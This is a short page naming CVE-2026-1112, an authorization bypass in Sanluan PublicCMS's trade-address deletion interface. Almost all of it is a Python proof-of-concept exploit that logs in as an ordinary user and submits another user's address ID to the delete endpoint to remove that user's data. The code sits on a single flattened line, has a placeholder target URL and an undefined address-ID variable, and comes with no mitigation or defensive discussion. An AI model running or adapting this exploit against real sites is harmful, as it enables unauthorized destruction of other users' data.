CVE-2026-1112 Sanluan PublicCMS 贸易地址删除接口权限绕过漏洞

import requests import json # CVE-2026-1112 PoC - Sanluan PublicCMS Trade Address Deletion Authorization Bypass # Target: Sanluan PublicCMS up to version 5.202506.d # Vulnerability: Improper Authorization in TradeAddressController delete method TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" DELETE_URL = f"{TARGET_URL}/trade/address/delete" # Step 1: Login to obtain session login_data = { "username": "attacker", "password": "password123" } session = requests.Session() response = session.post(LOGIN_URL, json=login_data) if response.status_code == 200: print("[+] Login successful, obtained valid session") # Step 2: Exploit - Delete victim address by manipulating ids parameter # Replace TARGET_ADDRESS_ID with the address ID you want to delete exploit_data = { "ids": [TARGET_ADDRESS_ID] # Victim's address ID to delete } exploit_response = session.post(DELETE_URL, json=exploit_data) if exploit_response.status_code == 200: print("[+] Authorization bypass successful - Address deleted") print(f"[*] Deleted address ID: {TARGET_ADDRESS_ID}") else: print(f"[-] Exploit failed with status: {exploit_response.status_code}") else: print("[-] Login failed")